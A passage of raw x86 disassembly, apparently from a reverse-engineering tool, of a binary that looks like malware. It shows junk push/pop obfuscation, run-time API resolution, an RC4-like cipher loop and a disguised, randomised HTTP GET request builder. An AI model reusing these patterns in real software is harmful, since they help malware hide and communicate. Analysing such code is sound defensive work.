		cmp	eax, 1Eh
		jbe	loc_9B34B9
		jmp	loc_9B2C9C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B47E8:				; CODE XREF: sub_9B5904-896Fj
		or	esi, 0FFFFFFFFh
		mov	[ebp-20h], esi
		xor	ecx, ecx


loc_9B47F0:				; CODE XREF: sub_9B5904-A76Bj
		mov	[ebp-1Ch], ecx
		cmp	ecx, 20h
		jge	loc_9B3EED
		jmp	off_9BA83C
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B480C:				; CODE XREF: sub_9B0930-4F8Ej
		push	off_9B955D
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+50h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+50h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAB16
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4840:				; CODE XREF: sub_9B1F68-1D7Aj
					; DATA XREF: .text:off_9B8D3Eo
		lea	edi, [edi+edi*2]
		shl	edi, 2
		lea	esi, [edi+ebp-248h]
		mov	[ebp-50h], esi
		push	dword ptr [esi]
		pop	eax
		test	eax, eax
		jz	loc_9B586C
		jmp	loc_9AB6E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4860:				; CODE XREF: sub_9B63D8-8D95j
					; DATA XREF: .text:off_9B8D10o
		cmp	dword ptr [ebp-2124h], 0FFFFFFFFh
		jz	loc_9AF94B
		jmp	loc_9AF248
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4874:				; CODE XREF: sub_9B1F68-51C3j
		imul	eax, esi
		shl	eax, 1
		push	eax
		pop	ecx
		push	51EB851Fh
		pop	eax
		imul	ecx
		sar	edx, 5
		push	edx
		pop	eax
		shr	eax, 1Fh
		lea	esi, [eax+edx+1]
		jmp	off_9B944D
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4898:				; CODE XREF: sub_9B0930-8FBj
					; DATA XREF: .text:off_9B8DB2o
		push	offset aCreateeventa ; "CreateEventA"
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+20h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9E97
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B48CC:				; CODE XREF: sub_9B1A08-845j
					; DATA XREF: .text:off_9B8F8Do
		push	0
		mov	ecx, [ebp+var_41E4]
		push	ecx
		push	10h
		pop	eax
		call	sub_9AC32C
		mov	[ebp+var_4200],	eax
		test	al, 1
		jnz	loc_9B2C5C
		jmp	off_9BAF63
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4901:				; CODE XREF: sub_9B2830-5694j
					; sub_9B2830+1D76j
		mov	ecx, [ebp-10h]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABE84


loc_9B4918:				; CODE XREF: sub_9ABE84+65j
					; DATA XREF: .text:off_9B8D96o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	80h
		push	esi
		pop	eax
		push	eax
		call	dword ptr [edx+4Ch]
		mov	ecx, dword_9BCB74
		mov	eax, esi
		push	dword ptr [ecx]
		pop	edx
		push	eax
		call	dword ptr [edx+44h]
		jmp	loc_9B12BB
; END OF FUNCTION CHUNK	FOR sub_9ABE84
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9B4944:				; CODE XREF: sub_9AE400+3Fj
		mov	[ebp+var_1C], 1
		jmp	loc_9B43AB
; END OF FUNCTION CHUNK	FOR sub_9AE400

; =============== S U B	R O U T	I N E =======================================



sub_9B4950	proc near		; DATA XREF: .text:off_9B946Eo

; FUNCTION CHUNK AT 009AB068 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AB2E8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ABB14 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009AC0B0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AD3C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009ADB98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AEF08 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 009AFE14 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AFF4C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B0D64 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B194C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B20B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2778 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B2944 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B2A4C SIZE 00000065 BYTES
; FUNCTION CHUNK AT 009B3128 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B32C4 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 009B366C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B36AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B3A04 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3BC8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B42AC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B457C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B47B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B50D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B5BFC SIZE 0000004A BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9481
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	ebx, ebx
		mov	[ebp-4], ebx
		call	sub_9B6504
		push	ebx
		push	ebx
		push	off_9B909D
		call	sub_9ABF08
		mov	[ebp-28h], eax
		push	ebx
		push	1
		push	off_9B8820
		call	sub_9ABF08
		mov	[ebp-2Ch], eax
		push	ebx
		push	1
		push	off_9BA7C1
		call	sub_9ABF08
		mov	[ebp-30h], eax
		push	ebx
		push	ebx
		push	off_9B8820
		call	sub_9ABF08
		mov	[ebp-34h], eax
		push	ebx
		push	ebx
		push	off_9BA7C1
		call	sub_9ABF08
		mov	[ebp-38h], eax
		call	sub_9B46CC
		mov	[ebp-20h], eax


loc_9B49DE:				; CODE XREF: sub_9B4950-9657j
		push	dword ptr [ebp+8]
		pop	eax
		push	eax
		mov	edx, 1388h
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9ABB14
		jmp	off_9B8941
sub_9B4950	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B49FC:				; CODE XREF: sub_9B3B1C+56j
		call	sub_9B45AC
		mov	dword_9BCBB4, eax
		call	sub_9B45AC
		mov	dword_9BCBB8, eax
		call	sub_9B45AC
		mov	dword_9BCBBC, eax
		call	sub_9B45AC
		mov	dword_9BCBC0, eax
		call	sub_9B45AC
		mov	dword_9BCBC4, eax
		call	sub_9B45AC
		mov	dword_9BCBC8, eax
		push	1
		push	18h
		pop	ecx
		mov	edx, offset dword_9BCBB4
		call	sub_9B1B20
		jmp	off_9B99EA
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4A50:				; CODE XREF: sub_9AB1A0+2171j
					; DATA XREF: .text:off_9B8C85o
		push	dword ptr [ebp+10h]
		pop	eax
		mov	edx, [eax]
		push	dword ptr [ebp+8]
		pop	ecx
		mov	[ecx+edx*4], edi
		inc	dword ptr [eax]
		jmp	loc_9B5F54
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4A64:				; CODE XREF: sub_9B1F68+2159j
					; DATA XREF: .text:off_9B9A29o
		push	dword ptr [ebp-3Ch]
		pop	eax
		or	eax, eax
		jnz	loc_9B276B
		jmp	loc_9B274C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4A80:				; CODE XREF: sub_9B63D8-51B4j
					; DATA XREF: .text:off_9BB025o
		cmp	[eax], ebx
		jz	loc_9AF944
		jmp	loc_9B13A8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B4A90:				; CODE XREF: sub_9AE860+71C0j
					; DATA XREF: .text:off_9BADA8o
		mov	edi, eax
		sub	ecx, esi
		mov	edx, ecx
		dec	edi


loc_9B4A97:				; CODE XREF: sub_9AE860+623Dj
		mov	cl, [edi+1]
		inc	edi
		or	cl, cl
		jnz	short loc_9B4A97
		jmp	loc_9B0F18
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B4AA4:				; CODE XREF: sub_9B5904-1108j
					; DATA XREF: .text:off_9BA83Co
		lea	eax, [ecx+ecx*4]
		shl	eax, 3
		cmp	dword_9BEC2C[eax], ebx
		jnz	loc_9AB198
		jmp	off_9B9384
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B4ABC:				; CODE XREF: sub_9B4610-3B3Cj
					; DATA XREF: .text:off_9B956Co
		and	ebx, ebx
		jnz	loc_9AF228
		jmp	loc_9AE4EC
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B4ACC:				; CODE XREF: sub_9B3864-5595j
					; DATA XREF: .text:off_9B9342o
		push	[ebp+var_2028]
		pop	edx
		test	edx, edx
		jnz	loc_9AEB8C
		jmp	off_9B9E9B
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B4AE4:				; CODE XREF: sub_9AF030+24FBj
		call	sub_9B2160
		mov	edi, eax
		mov	[ebp+var_1C], edi
		test	edi, edi
		jz	loc_9AC62B
		jmp	loc_9B5140
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4AFC:				; CODE XREF: sub_9AB1A0+AAD7j
					; DATA XREF: .text:off_9B99DCo
		mov	ecx, dword_9BCBC8[eax*4]
		test	ecx, ecx
		jnz	loc_9B5894
		jmp	loc_9B5B88
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------


loc_9B4B10:				; CODE XREF: .text:009B20A5j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4B18:				; CODE XREF: sub_9B0930-10E8j
					; DATA XREF: .text:off_9BA7E1o
		push	off_9BAD44
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+40h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1C5C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4B4C:				; CODE XREF: sub_9B2830+1026j
		or	edi, edi
		jz	loc_9AD195
		jmp	off_9B9641
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9B4B5C:				; CODE XREF: sub_9B19D8-3A66j
					; DATA XREF: .text:off_9B920Bo
		push	0
		lea	edx, [ebp-4048h]
		push	edx
		lea	ecx, [ebp-4022h]
		push	ecx
		push	esi
		push	6
		push	dword ptr [ebp-4050h]
		pop	edx
		push	edx
		lea	ecx, [ebp-4034h]
		push	ecx
		add	eax, 0FFFFFFFEh
		push	eax
		lea	ecx, [ebp-4044h]
		lea	edx, [ebp-201Eh]
		call	sub_9B1D80
		push	dword ptr [ebp-4048h]
		pop	edi
		or	edi, edi
		jz	loc_9B5E0C
		jmp	loc_9B349C
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B4BAB:				; CODE XREF: sub_9B57B4-11ADj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4BD0:				; CODE XREF: sub_9B0930+4757j
					; DATA XREF: .text:off_9BAFC3o
		push	off_9B8C20
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+18h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		jmp	off_9BAB90
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4BF8	proc near		; CODE XREF: sub_9ABC20+9EAAj

; FUNCTION CHUNK AT 009ADBD4 SIZE 00000025 BYTES

		push	ebx
		pop	eax
		lea	edx, [eax+1]


loc_9B4BFD:				; CODE XREF: sub_9B4BF8+Aj
		mov	cl, [eax]
		inc	eax
		and	cl, cl
		jnz	short loc_9B4BFD
		jmp	loc_9ADBD4
sub_9B4BF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4C0C:				; CODE XREF: sub_9B0930+160j
		push	off_9B9E93
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+3Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+3Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AF6D0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4C3C:				; CODE XREF: sub_9B1A08-3D5Fj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	eax
		call	dword ptr [edx+38h]


loc_9B4C4A:				; CODE XREF: sub_9B1A08-3D65j
					; sub_9B1A08-3C73j
		sub	esi, esi
		mov	[ebp+var_41E8],	esi
		mov	edi, [ebp+var_41E0]


loc_9B4C58:				; CODE XREF: sub_9B1A08-614Cj
		cmp	esi, edi
		jnb	loc_9B1C13
		jmp	off_9B8DA6
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4C68:				; CODE XREF: sub_9B1A08-3C82j
					; DATA XREF: .text:off_9B99F2o
		mov	ecx, [ebp+var_4208]
		push	ecx
		lea	ecx, [ebp+var_403C]
		lea	edx, [ebp+var_401C]
		call	sub_9B1D80
		mov	edi, [ebp+var_41F8]
		test	edi, edi
		jz	loc_9AD484
		jmp	loc_9AE954
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B4C94:				; CODE XREF: sub_9B3D1C+47j
					; DATA XREF: .text:off_9BA443o
		lea	esi, [ebx+4]
		push	10h
		pop	ecx
		lea	edi, [eax+4]
		rep movsd
		mov	esi, [ebx+44h]
		or	esi, esi
		jz	loc_9B17F8
		jmp	off_9BA0B9
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B4CB0:				; CODE XREF: sub_9ADAC4+83A2j
		push	5
		push	ebx
		mov	eax, 8
		call	sub_9AC32C
		mov	[ebp-58h], eax
		test	al, 1
		jnz	loc_9ADCDC
		jmp	off_9BA15C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B4CF0:				; CODE XREF: .text:009AB514j
					; DATA XREF: .text:off_9BA0D4o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4CF4	proc near		; CODE XREF: sub_9B29B0+4Bp
					; sub_9B3BE8+3p

; FUNCTION CHUNK AT 009AFEC0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B0DC8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0E00 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B2558 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B2CCC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5454 SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA7A8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebx],	0
		mov	ecx, [ebp+8]
		test	cl, 1
		jz	loc_9B256C
		jmp	loc_9B2CCC
sub_9B4CF4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B4D3C:				; CODE XREF: sub_9B0930+38B9j
		mov	dword ptr [ebp-20h], 1
		jmp	loc_9B23EF
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B4D48:				; CODE XREF: sub_9B0734+3B0Fj
		mov	[ebx], eax
		mov	eax, 4


loc_9B4D4F:				; CODE XREF: sub_9B0734+18j
		pop	esi
		pop	ecx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B4D58:				; CODE XREF: sub_9AB1A0+ADC5j
					; DATA XREF: .text:off_9B9E87o
		call	sub_9B45AC
		sub	edx, edx
		div	dword ptr [ebp-24h]
		mov	[ebp-20h], edx
		sub	edi, edi
		mov	[ebp-1Ch], edi
		xor	ebx, ebx


loc_9B4D6C:				; CODE XREF: sub_9AB1A0+B8Aj
		mov	[ebp-28h], ebx
		cmp	ebx, 20h
		jnb	loc_9B2911
		jmp	loc_9AE134
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B4D80:				; CODE XREF: sub_9AC6DC-2EFj
					; DATA XREF: .text:off_9B91CCo
		ja	loc_9B30B0
		jmp	loc_9B35E8
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B4D8C:				; CODE XREF: sub_9B4FD0-6300j
		inc	eax
		jmp	loc_9AD321
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4D94:				; CODE XREF: sub_9B63D8-583j
					; DATA XREF: .text:off_9BA615o
		movsx	eax, al
		lea	eax, [eax+eax*4]
		movsx	edx, dl
		movsx	ecx, cl
		lea	eax, [edx+eax*2]
		lea	eax, [eax+eax*4]
		cmp	ebx, 33h
		lea	edx, [ecx+eax*2-14D0h]
		mov	eax, [ebp-2158h]
		mov	[eax], edx
		jl	loc_9B41AB
		jmp	loc_9AB610
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6A0


loc_9B4DC4:				; CODE XREF: sub_9AC6A0+87EBj
		mov	eax, [esp+1Ch+var_C]


loc_9B4DC8:				; CODE XREF: sub_9AC6A0+36j
		add	eax, ecx
		mov	dl, [ecx]
		mov	[esp+1Ch+var_11], dl
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+1]
		push	[esp+1Ch+var_8]
		pop	edx
		mov	[esp+1Ch+var_11], al
		lea	eax, [ecx+edx]
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx+1], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+2]
		mov	[esp+1Ch+var_11], al
		push	[esp+1Ch+var_10]
		pop	eax
		cdq
		idiv	edi
		mov	al, [esp+1Ch+var_11]
		mov	dl, [ebp+edx+0]
		add	dl, al
		add	bl, dl
		movzx	eax, bl
		mov	dl, [esi+eax+2]
		lea	eax, [esi+eax+2]
		mov	[ecx+2], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		mov	al, [ecx+3]
		mov	edx, [esp+1Ch+var_4]
		mov	[esp+1Ch+var_11], al
		lea	eax, [ecx+edx]
		cdq
		idiv	edi
		mov	al, [ebp+edx+0]
		add	ecx, 4
		add	al, [esp+1Ch+var_11]
		add	bl, al
		movzx	edx, bl
		lea	eax, [esi+edx+2]
		mov	dl, [eax]
		mov	[ecx-1], dl
		mov	dl, [esp+1Ch+var_11]
		mov	[eax], dl
		add	[esp+1Ch+var_10], 4
		mov	eax, [esp+1Ch+var_C]
		add	eax, ecx
		cmp	eax, 100h
		jl	loc_9B4DC4
		jmp	off_9B93DF
; END OF FUNCTION CHUNK	FOR sub_9AC6A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B4E98:				; CODE XREF: sub_9B1D80-6D96j
					; DATA XREF: .text:off_9BA3A0o
		and	edx, edx
		jz	loc_9B3ECB
		jmp	loc_9B04DC
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4EA8:				; CODE XREF: sub_9B63D8-45B0j
					; DATA XREF: .text:off_9BA374o
		add	eax, ecx
		cmp	ebx, eax
		jnz	loc_9ABE10
		jmp	off_9BAAFD
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B4EB8:				; CODE XREF: sub_9ADAC4+784j
					; sub_9ADAC4+681Ej ...
		and	ebx, ebx
		jz	loc_9AB8EE
		jmp	off_9B970B
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4EC8:				; CODE XREF: sub_9B63D8-AE72j
					; sub_9B63D8-807j
		lea	ebx, [ebp-120h]
		call	sub_9AB3B0


loc_9B4ED3:				; CODE XREF: sub_9B63D8-93C1j
		push	edi
		lea	eax, [ebp-120h]
		push	eax
		call	sub_9B45AC
		mov	ecx, 3
		xor	edx, edx
		div	ecx
		push	off_9BB03C[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		push	off_9BA48C[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		and	eax, 3
		mov	eax, off_9B8D00[eax*4]
		push	eax
		call	sub_9B45AC
		mov	ecx, 3
		xor	edx, edx
		div	ecx
		push	off_9B88F0[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		push	off_9BA358[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		mov	ecx, 3
		div	ecx
		push	off_9B99D0[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		push	off_9B9058[edx*4]
		pop	edx
		push	edx
		call	sub_9B45AC
		xor	edx, edx
		mov	ecx, 3
		div	ecx
		mov	edx, off_9B9670[edx*4]
		push	edx
		push	dword ptr [ebp-2160h]
		pop	eax
		push	eax
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	1FFFh		; Count
		lea	ecx, [ebp-2120h]
		push	ecx		; Dest
		call	_snprintf
		add	esp, 38h
		lea	eax, [ebp-2120h]
		lea	edx, [eax+1]


loc_9B4FB0:				; CODE XREF: sub_9B63D8-1423j
		mov	cl, [eax]
		inc	eax
		and	cl, cl
		jnz	short loc_9B4FB0
		jmp	loc_9B3788
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		push	edi
		mov	ecx, 93h
		xor	eax, eax
		mov	edi, off_9B9FDF
		rep stosd
		pop	edi
		retn
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B4FD0	proc near		; CODE XREF: sub_9B1D80-32EEp
					; sub_9B3864-37ECp

; FUNCTION CHUNK AT 009AAEF0 SIZE 0000008A BYTES
; FUNCTION CHUNK AT 009AB8C4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009ACB48 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ACC18 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AD318 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AECC4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AED84 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AF184 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AFB08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFDAC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFED8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0A98 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0D54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0E4C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B104C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1E44 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B30E0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B3A50 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B3C54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4D8C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B54D0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B5708 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
